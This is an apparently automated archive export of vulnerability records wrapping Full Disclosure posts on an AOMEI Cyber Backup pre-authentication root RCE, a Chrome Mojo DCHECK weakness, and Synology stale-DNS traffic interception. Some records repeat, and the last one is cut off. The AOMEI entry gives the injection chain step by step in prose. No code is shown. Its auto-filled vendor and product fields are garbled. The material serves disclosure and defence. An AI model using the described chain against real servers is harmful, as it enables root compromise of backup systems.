Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "advisory Pre-authentication",
          "vendor": "Security",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in AOMEI Cyber Backup v2.3.0 (AOMEI). The research is \npublished and a proof-of-concept is available.\n\nPre-authentication RCE (CVSS 9.8, pre-authentication)\n\nAOMEI Cyber Backup v2.3.0 runs as root in a Docker container and exposes four Thrift binary-protocol ports, but only \nthe 9072 Gateway enforces JWT authentication. The three internal Thrift ports (9074, 9077, 9078) bind to the container \nnetwork with no authentication handler. An attacker who can reach ports 9074 and 9078 persists an injected NAS \ncredential via AddBackupStorageNAS, then triggers DeleteBackupStorage, whose async lambda builds a CIFS mount command \nvia system() with unescaped username and password fields. A single-quote escape in the username field injects an \narbitrary shell command that executes as root (uid=0). The chain requires only network reachability to the internal \nThrift ports; no credentials and no user interaction are required.\n\nImpact: Arbitrary command execution as root (uid=0) inside the backup infrastructure container; the attacker can read \nbackup metadata and stored credentials, alter backup storage records, and disrupt or destroy backup operations.\n\nAdvisory: https://0day-rubbish.com/blog/aomei-cyber-backup-thrift-nas-mount-rce\n\nPoC and full analysis: https://github.com/Exploit-Garbage/0day-Rubbish\n\n-- \n0day Rubbish Research Team\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:37:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/3"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/3"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/aomei-cyber-backup-thrift-nas-mount-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/3"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Security advisory: Pre-authentication RCE in AOMEI Cyber Backup v2.3.0 (AOMEI)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0051",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/3",
            "automated": true,
            "contentSha256": "2d677b0e8b05bc9a486a16164155baf0f0f0c8dc765a31eb2c875bb214157a44",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/3",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-03T03:34:19Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-11T11:37:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0051"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DCHECK Illusion",
          "vendor": "The",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Shrikant Bhosale"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Subject: The DCHECK Illusion: Chrome\u0027s \"Trusted Path\" Policy Creates\nVulnerabilities\n\nFull article:\nhttps://potatobullet.com/chrome-dcheck-illusion-trusted-path-vulnerabilities/\n\nSummary: An analysis of Chrome Mojo IPC finding 296 DCHECK instances across\nmojo/core/ and mojo/public/cpp/bindings/lib/, at least 15 guarding\nsecurity-relevant conditions (bounds checks, offset validation, handle\nstate)\nwith ZERO protection in release builds. Error Principle classification:\nOmission Debt with D\u2091 = 0.95. Root cause is architectural \u2014 DCHECK as\nsecurity\nboundary \u2014 not individual bugs.\n\nKey numbers:\n- 296 DCHECK instances in Mojo IPC\n- 15+ guard security-critical conditions (compiled out in NDEBUG)\n- CVE-2022-3075 ($100K+ bounty), CVE-2025-2783 same class, same root cause\n- VRP-001 (2026) same class \u2192 dismissed \"not a security bug\"\n- VRP-005 DataPipe DCHECK OOB \u2192 dismissed in 6 minutes\n- No existing mitigation (MiraclePtr, CFG, ACG, ASLR, Site Isolation)\nblocks this\n\nFix: Promote DCHECK to CHECK or if-return for all data crossing\nrenderer\u2192browser IPC boundary.\n\n\u2014 Shrikant Bhosale (The Debt Collector)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:36:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/1"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/1"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://potatobullet.com/chrome-dcheck-illusion-trusted-path-vulnerabilities/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/1"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "The DCHECK Illusion: Chrome\u0027s \"Trusted Path\" Policy Creates Vulnerabilities",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2022-3075",
              "type": "related"
            },
            {
              "destId": "CVE-2025-2783",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0170",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/1",
            "automated": true,
            "contentSha256": "f1409b930f21cdcf0cb6460b9067e5d9747ad4b1b1f3a62b5fcc7c71f7e977aa",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/1",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-13T12:47:42Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0170"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:44:50Z",
    "dateUpdated": "2026-09-11T11:36:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0170"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DCHECK Illusion",
          "vendor": "The",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Shrikant Bhosale"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Subject: The DCHECK Illusion: Chrome\u0027s \"Trusted Path\" Policy Creates\nVulnerabilities\n\nFull article:\nhttps://potatobullet.com/chrome-dcheck-illusion-trusted-path-vulnerabilities/\n\nSummary: An analysis of Chrome Mojo IPC finding 296 DCHECK instances across\nmojo/core/ and mojo/public/cpp/bindings/lib/, at least 15 guarding\nsecurity-relevant conditions (bounds checks, offset validation, handle\nstate)\nwith ZERO protection in release builds. Error Principle classification:\nOmission Debt with D\u2091 = 0.95. Root cause is architectural \u2014 DCHECK as\nsecurity\nboundary \u2014 not individual bugs.\n\nKey numbers:\n- 296 DCHECK instances in Mojo IPC\n- 15+ guard security-critical conditions (compiled out in NDEBUG)\n- CVE-2022-3075 ($100K+ bounty), CVE-2025-2783 same class, same root cause\n- VRP-001 (2026) same class \u2192 dismissed \"not a security bug\"\n- VRP-005 DataPipe DCHECK OOB \u2192 dismissed in 6 minutes\n- No existing mitigation (MiraclePtr, CFG, ACG, ASLR, Site Isolation)\nblocks this\n\nFix: Promote DCHECK to CHECK or if-return for all data crossing\nrenderer\u2192browser IPC boundary.\n\n\u2014 Shrikant Bhosale (The Debt Collector)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:36:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/1"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/1"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://potatobullet.com/chrome-dcheck-illusion-trusted-path-vulnerabilities/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/1"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "The DCHECK Illusion: Chrome\u0027s \"Trusted Path\" Policy Creates Vulnerabilities",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0030",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/1",
            "automated": true,
            "contentSha256": "f1409b930f21cdcf0cb6460b9067e5d9747ad4b1b1f3a62b5fcc7c71f7e977aa",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/1",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-13T12:47:42Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-11T11:36:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0030"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "stale DNS",
          "vendor": "Synology",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "shed riot"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# Synology stale DNS allows practical interception of traffic from\nvulnerable DSM clients\n\nVendor case: 904909\nSuggested severity: High\n\n## Customer advisory\n\nSynology customers using the affected DSM and Relayd versions listed below\nshould upgrade immediately.\n\nThe relevant man-in-the-middle vulnerabilities were fixed in DSM\n6.2.3-25426 Update 3. Customers should install the latest DSM version\navailable for their device, and in no case remain on a version earlier than\nDSM 6.2.3-25426 Update 3 where that update is supported.\n\nDevices that cannot run this or a later version should be considered\nunsupported and unsafe for QuickConnect or relay-based communication. They\nshould be replaced, retired, or isolated from Synology cloud services.\n\n## Summary\n\nPreviously disclosed vulnerabilities in Synology DSM allowed an attacker\npositioned between a NAS and Synology\u0027s infrastructure to impersonate\nSynology servers, intercept sensitive information, and, in some cases,\nmanipulate traffic or execute commands.\n\nThose vulnerabilities included:\n\n* CVE-2021-26560, cleartext transmission by `synoagentregisterd`, allowing\nan attacker to spoof a Synology server.\n* CVE-2021-26561 and CVE-2021-26562, memory-corruption vulnerabilities\nreachable through the same man-in-the-middle position.\n* CVE-2021-26564 and CVE-2021-26565, allowing `synorelayd` traffic to be\nintercepted or redirected.\n* CVE-2021-26566, allowing manipulated inbound QuickConnect traffic to\nresult in command execution.\n\nSynology fixed these issues in DSM 6.2.3-25426 Update 3.\n\nThe new finding described in this advisory is a separate infrastructure\ncondition that makes exploitation of those old client vulnerabilities\npractical.\n\nSynology hostnames were observed resolving to ephemeral cloud IP addresses.\nSynology subsequently released those addresses back to the cloud provider\nwhile client devices continued to retain the old DNS result in cache. When\na released address was acquired by a third party, affected clients\ncontinued sending traffic intended for Synology to the new,\nattacker-controlled system.\n\nThis does not require DNS poisoning, ARP spoofing, phishing, a malicious\nwebsite, or a conventional on-path position. The stale DNS record itself\ndirects the client to the attacker.\n\n## Observed interception in the wild\n\nDuring a two-week period, four separately released cloud IP addresses\npreviously used by Synology infrastructure were acquired and monitored.\n\nThe supplied traffic captures cover four collection events between 7 July\nand 16 July 2026. They contain:\n\n* 28 HTTP or HTTPS requests intended for Synology services.\n* 23 distinct client endpoints.\n* 22 unique NAS serial numbers, plus one additional client that did not\ninclude its serial number in the captured request.\n* 10 plaintext `synoagentregisterd_dsm` requests.\n* 14 `Synology Relayd` requests.\n* Four additional QuickConnect requests.\n\nThe traffic was received without targeting individual customers and without\ninterfering with Synology\u0027s DNS records. The clients contacted addresses\nthat had legitimately been released by Synology and subsequently assigned\nto the collection system.\n\nThis is therefore not a theoretical attack scenario. It is a definitive\nexample of real Synology customer traffic being delivered to a\nthird-party-controlled endpoint.\n\n## Information exposed\n\nThe information varied by request type, but the captured traffic included:\n\n* Authentication keys and token values.\n* NAS serial numbers and model identifiers.\n* MAC addresses.\n* QuickConnect aliases and server identifiers.\n* HTTP session cookies.\n* Internal IPv4 and IPv6 addresses.\n* Internal gateways and network masks.\n* DDNS hostnames.\n* Enabled services and internal or externally mapped service ports.\n* DSM management ports.\n* Device time zones and other system metadata.\n\nThe plaintext `/finder/set.php` requests exposed device identifiers,\ntokens, internal addresses and management ports directly over HTTP.\n\nThe TLS-based requests successfully connected to a collection system using\na self-signed certificate. This demonstrates that the affected clients did\nnot meaningfully authenticate the remote server before transmitting request\ndata.\n\nWhether every captured token could subsequently be replayed is not\nnecessary to establish the confidentiality impact. The security failure\noccurred when private customer and device data intended for Synology was\ndelivered to an unauthorised third party.\n\n## Affected traffic paths\n\nThe intercepted requests were intended for hostnames including:\n\n* `relayinfo.synology.com`\n* `global.quickconnect.to`\n* `dec.quickconnect.to`\n* `ukc.synology.com`\n\nThe traffic included requests to:\n\n* `/finder/set.php`\n* `/Serv.php`\n* `/alias_update.php`\n\nCisco Talos previously documented the same `synoagentregisterd` sequence. A\nDSM device first requested a finder server from `global.quickconnect.to`,\nthen transmitted its serial number, token, network addresses and DSM ports\nusing plaintext HTTP. Talos concluded that both stages could be modified by\na man-in-the-middle attacker.\n\nTalos also documented QuickConnect server impersonation capable of stealing\ndevice credentials through the `synorelayd` and HTTP-redirection flow.\n\nThe stale-DNS condition supplies the attacker-controlled endpoint required\nby these vulnerabilities without requiring the attacker to compromise DNS\nor obtain an existing network position.\n\n## Captured client versions\n\nAll captured clients pre-date DSM 6.2.3-25426 Update 3.\n\n| Captured version         | Identified models       | Distinct endpoints |\n| ------------------------ | ----------------------- | -----------------: |\n| Synology Relayd 1.0-3211 | Model not disclosed     |                  1 |\n| Synology Relayd 1.0-3810 | Model not disclosed     |                  1 |\n| Synology Relayd 1.0-3827 | DS210j, DS212j, DS710+  |                  4 |\n| Synology Relayd 1.0-4493 | DS214+, DS414slim       |                  5 |\n| DSM 5.0-4528             | DS214play               |                  1 |\n| DSM 5.0-4528 Update 1    | DS713+                  |                  1 |\n| DSM 5.0-4528 Update 2    | DS213j                  |                  1 |\n| DSM 5.2-5592 Update 4    | DS214se                 |                  1 |\n| DSM 5.2-5967 Update 9    | DS1010+, DS115j, RS815+ |                  4 |\n| DSM 6.0-8451             | DS416j                  |                  1 |\n| DSM 6.0-8754 Update 8    | DS215+, DS216j          |                  3 |\n| Total                    |                         |                 23 |\n\n## Required remediation\n\n### Devices that support the patched DSM release\n\nThe following identified models can install DSM 6.2.3-25426 Update 3 or a\nlater DSM release:\n\n* DS212j\n* DS213j\n* DS214+\n* DS214play\n* DS214se\n* DS215+\n* DS216j\n* DS414slim\n* DS416j\n* DS713+\n* DS115j\n* RS815+\n\nOwners should install the latest DSM version currently offered for the\nspecific model. DSM 6.2.3-25426 Update 3 is only the minimum version known\nto contain the relevant fixes and should not be treated as the preferred\ncurrent version. Synology\u0027s model release notes confirm availability of the\nfixed branch for these hardware generations.\n\n### Devices with no patched DSM release\n\nThe following captured 10-series models are limited to DSM 5.2 and cannot\ninstall the fixed DSM branch:\n\n* DS1010+\n* DS210j\n* DS710+\n\nSynology states that DSM 5.2 was the final major DSM release for 10-series\ndevices.\n\nThere is therefore no safe software upgrade for these devices in relation\nto the vulnerabilities described in Synology-SA-20:26. Customers should\nreplace or retire them.\n\nUntil replacement, owners should disable QuickConnect and related relay\nfunctionality, restrict outbound connectivity to Synology relay and finder\nservices, and prevent the devices from transmitting sensitive registration\ndata over the internet.\n\nThe two unidentified clients using Relayd 1.0-3211 and 1.0-3810 should be\nidentified by their owners. If their hardware cannot install DSM\n6.2.3-25426 Update 3 or later, the same replacement recommendation applies.\n\n## Historical exposure\n\nIt is not known:\n\n* How long Synology\u0027s infrastructure has released ephemeral addresses while\nDNS caches remained valid.\n* How frequently previously used addresses have been acquired by unrelated\ncloud customers.\n* Whether other parties deliberately searched for and acquired released\nSynology addresses.\n* How many clients have previously sent requests to unintended recipients.\n* How much customer data may have been collected before this report.\n* Whether any exposed keys, tokens or session values were replayed or\notherwise abused.\n\nFour independent ephemeral addresses were encountered during a short\nobservation period. This suggests that the condition was repeatable rather\nthan an isolated cloud-allocation anomaly.\n\nThe absence of known reports of exploitation cannot establish that prior\ninterception did not occur. A party receiving this traffic would not need\nto interact with the affected NAS, modify a request, or trigger an\nobservable failure. Passive collection could occur without the customer or\nSynology becoming aware of it.\n\n## Vendor disclosure timeline\n\n| Date              | Event\n\n                                                                   |\n| ----------------- |\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n|\n| 7 July 2026       | Initial report submitted to Synology with a captured\ntraffic log.\n                                                                     |\n| 8 July 2026       | Synology classified the issue as a hardening\nsuggestion, stating that a complete exploit had not been demonstrated and\nreferring to phishing or fake-site behaviour that was not part of the\nreport. |\n| 8 July 2026       | Synology was informed that the attachment contained\nlive third-party traffic, identifiers and token values, and was asked to\nconsider notifying the affected customers.                              |\n| 9 July 2026       | Synology acknowledged that the log contained live\ntraffic and token-like values, but said replay or account compromise had\nnot been demonstrated.                                                    |\n| 9 July 2026       | Synology was informed that its HTTPS traffic had\nconnected to a self-signed collection endpoint, demonstrating ineffective\ncertificate validation.                                                   |\n| 9 July 2026       | Synology described the result as, at most, limited\ninformation exposure.\n                                                                      |\n| 9 to 16 July 2026 | Additional released IP addresses were acquired and\nfurther independent batches of customer traffic were captured and supplied.\n                                                                      |\n| 22 July 2026      | Synology stated that the TLS certificate-validation\nbehaviour had been fixed in later DSM versions and maintained that the\nreport was not bounty eligible.                                           |\n| 22 July 2026      | Synology was reminded that the stale-DNS condition\nmade the old client vulnerability practically exploitable and that the\nduration and historical extent of exposure were unknown.                   |\n| 22 July 2026      | Synology stated that it would adjust the\nconfiguration of `relayinfo.synology.com` to further reduce the risk.\n\n    |\n| 22 July 2026      | Synology maintained the \"hardening suggestion\"\nclassification and declined a monetary reward.\n                                                                           |\n\n\n## Assessment of Synology\u0027s response\n\nSynology is correct that every client observed in the captures was old and\npre-dated the relevant security update.\n\nThat fact does not invalidate the finding.\n\nThe stale-DNS condition was present in Synology-controlled infrastructure\nat the time of reporting. It t"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:36:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/28"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/28"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/28"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Synology stale DNS allows practical interception of traffic from vulnerable DSM clients",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2021-26560",
              "type": "related"
            },
            {
              "destId": "CVE-2021-26561",
              "type": "related"
            },
            {
              "destId": "CVE-2021-26562",
              "type": "related"
            },
            {
              "destId": "CVE-2021-26564",
              "type": "related"
            },
            {
              "destId": "CVE-2021-26565",
              "type": "related"
            },
            {
              "destId": "CVE-2021-26566",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0374",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/28",
            "automated": true,
            "contentSha256": "bd8f367c2ed2bbbcd5c32d5122025267d13ee7dbffbbbc16a203899c4f1f006e",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/28",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-22T08:27:45Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0374"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T11:36:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0374"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "stale DNS",
          "vendor": "Synology",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "shed riot"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# Synology stale DNS allows practical interception of traffic from\nvulnerable DSM clients\n\nVendor case: 904909\nSuggested severity: High\n\n## Customer advisory\n\nSynology customers using the affected DSM and Relayd versions listed below\nshould upgrade immediately.\n\nThe relevant man-in-the-middle vulnerabilities were fixed in DSM\n6.2.3-25426 Update 3. Customers should install the latest DSM version\navailable for their device, and in no case remain on a version earlier than\nDSM 6.2.3-25426 Update 3 where that update is supported.\n\nDevices that cannot run this or a later version should be considered\nunsupported and unsafe for QuickConnect or relay-based communication. They\nshould be replaced, retired, or isolated from Synology cloud services.\n\n## Summary\n\nPreviously disclosed vulnerabilities in Synology DSM allowed an attacker\npositioned between a NAS and Synology\u0027s infrastructure to impersonate\nSynology servers, intercept sensitive information, and, in some cases,\nmanipulate traffic or execute commands.\n\nThose vulnerabilities included:\n\n* CVE-2021-26560, cleartext transmission by `synoagentregisterd`, allowing\nan attacker to spoof a Synology server.\n* CVE-2021-26561 and CVE-2021-26562, memory-corruption vulnerabilities\nreachable through the same man-in-the-middle position.\n* CVE-2021-26564 and CVE-2021-26565, allowing `synorelayd` traffic to be\nintercepted or redirected.\n* CVE-2021-26566, allowing manipulated inbound QuickConnect traffic to\nresult in command execution.\n\nSynology fixed these issues in DSM 6.2.3-25426 Update 3.\n\nThe new finding described in this advisory is a separate infrastructure\ncondition that makes exploitation of those old client vulnerabilities\npractical.\n\nSynology hostnames were observed resolving to ephemeral cloud IP addresses.\nSynology subsequently released those addresses back to the cloud provider\nwhile client devices continued to retain the old DNS result in cache. When\na released address was acquired by a third party, affected clients\ncontinued sending traffic intended for Synology to the new,\nattacker-controlled system.\n\nThis does not require DNS poisoning, ARP spoofing, phishing, a malicious\nwebsite, or a conventional on-path position. The stale DNS record itself\ndirects the client to the attacker.\n\n## Observed interception in the wild\n\nDuring a two-week period, four separately released cloud IP addresses\npreviously used by Synology infrastructure were acquired and monitored.\n\nThe supplied traffic captures cover four collection events between 7 July\nand 16 July 2026. They contain:\n\n* 28 HTTP or HTTPS requests intended for Synology services.\n* 23 distinct client endpoints.\n* 22 unique NAS serial numbers, plus one additional client that did not\ninclude its serial number in the captured request.\n* 10 plaintext `synoagentregisterd_dsm` requests.\n* 14 `Synology Relayd` requests.\n* Four additional QuickConnect requests.\n\nThe traffic was received without targeting individual customers and without\ninterfering with Synology\u0027s DNS records. The clients contacted addresses\nthat had legitimately been released by Synology and subsequently assigned\nto the collection system.\n\nThis is therefore not a theoretical attack scenario. It is a definitive\nexample of real Synology customer traffic being delivered to a\nthird-party-controlled endpoint.\n\n## Information exposed\n\nThe information varied by request type, but the captured traffic included:\n\n* Authentication keys and token values.\n* NAS serial numbers and model identifiers.\n* MAC addresses.\n* QuickConnect aliases and server identifiers.\n* HTTP session cookies.\n* Internal IPv4 and IPv6 addresses.\n* Internal gateways and network masks.\n* DDNS hostnames.\n* Enabled services and internal or externally mapped service ports.\n* DSM management ports.\n* Device time zones and other system metadata.\n\nThe plaintext `/finder/set.php` requests exposed device identifiers,\ntokens, internal addresses and management ports directly over HTTP.\n\nThe TLS-based requests successfully connected to a collection system using\na self-signed certificate. This demonstrates that the affected clients did\nnot meaningfully authenticate the remote server before transmitting request\ndata.\n\nWhether every captured token could subsequently be replayed is not\nnecessary to establish the confidentiality impact. The security failure\noccurred when private customer and device data intended for Synology was\ndelivered to an unauthorised third party.\n\n## Affected traffic paths\n\nThe intercepted requests were intended for hostnames including:\n\n* `relayinfo.synology.com`\n* `global.quickconnect.to`\n* `dec.quickconnect.to`\n* `ukc.synology.com`\n\nThe traffic included requests to:\n\n* `/finder/set.php`\n* `/Serv.php`\n* `/alias_update.php`\n\nCisco Talos previously documented the same `synoagentregisterd` sequence. A\nDSM device first requested a finder server from `global.quickconnect.to`,\nthen transmitted its serial number, token, network addresses and DSM ports\nusing plaintext HTTP. Talos concluded that both stages could be modified by\na man-in-the-middle attacker.\n\nTalos also documented QuickConnect server impersonation capable of stealing\ndevice credentials through the `synorelayd` and HTTP-redirection flow.\n\nThe stale-DNS condition supplies the attacker-controlled endpoint required\nby these vulnerabilities without requiring the attacker to compromise DNS\nor obtain an existing network position.\n\n## Captured client versions\n\nAll captured clients pre-date DSM 6.2.3-25426 Update 3.\n\n| Captured version         | Identified models       | Distinct endpoints |\n| ------------------------ | ----------------------- | -----------------: |\n| Synology Relayd 1.0-3211 | Model not disclosed     |                  1 |\n| Synology Relayd 1.0-3810 | Model not disclosed     |                  1 |\n| Synology Relayd 1.0-3827 | DS210j, DS212j, DS710+  |                  4 |\n| Synology Relayd 1.0-4493 | DS214+, DS414slim       |                  5 |\n| DSM 5.0-4528             | DS214play               |                  1 |\n| DSM 5.0-4528 Update 1    | DS713+                  |                  1 |\n| DSM 5.0-4528 Update 2    | DS213j                  |                  1 |\n| DSM 5.2-5592 Update 4    | DS214se                 |                  1 |\n| DSM 5.2-5967 Update 9    | DS1010+, DS115j, RS815+ |                  4 |\n| DSM 6.0-8451             | DS416j                  |                  1 |\n| DSM 6.0-8754 Update 8    | DS215+, DS216j          |                  3 |\n| Total                    |                         |                 23 |\n\n## Required remediation\n\n### Devices that support the patched DSM release\n\nThe following identified models can install DSM 6.2.3-25426 Update 3 or a\nlater DSM release:\n\n* DS212j\n* DS213j\n* DS214+\n* DS214play\n* DS214se\n* DS215+\n* DS216j\n* DS414slim\n* DS416j\n* DS713+\n* DS115j\n* RS815+\n\nOwners should install the latest DSM version currently offered for the\nspecific model. DSM 6.2.3-25426 Update 3 is only the minimum version known\nto contain the relevant fixes and should not be treated as the preferred\ncurrent version. Synology\u0027s model release notes confirm availability of the\nfixed branch for these hardware generations.\n\n### Devices with no patched DSM release\n\nThe following captured 10-series models are limited to DSM 5.2 and cannot\ninstall the fixed DSM branch:\n\n* DS1010+\n* DS210j\n* DS710+\n\nSynology states that DSM 5.2 was the final major DSM release for 10-series\ndevices.\n\nThere is therefore no safe software upgrade for these devices in relation\nto the vulnerabilities described in Synology-SA-20:26. Customers should\nreplace or retire them.\n\nUntil replacement, owners should disable QuickConnect and related relay\nfunctionality, restrict outbound connectivity to Synology relay and finder\nservices, and prevent the devices from transmitting sensitive registration\ndata over the internet.\n\nThe two unidentified clients using Relayd 1.0-3211 and 1.0-3810 should be\nidentified by their owners. If their hardware cannot install DSM\n6.2.3-25426 Update 3 or later, the same replacement recommendation applies.\n\n## Historical exposure\n\nIt is not known:\n\n* How long Synology\u0027s infrastructure has released ephemeral addresses while\nDNS caches remained valid.\n* How frequently previously used addresses have been acquired by unrelated\ncloud customers.\n* Whether other parties deliberately searched for and acquired released\nSynology addresses.\n* How many clients have previously sent requests to unintended recipients.\n* How much customer data may have been collected before this report.\n* Whether any exposed keys, tokens or session values were replayed or\notherwise abused.\n\nFour independent ephemeral addresses were encountered during a short\nobservation period. This suggests that the condition was repeatable rather\nthan an isolated cloud-allocation 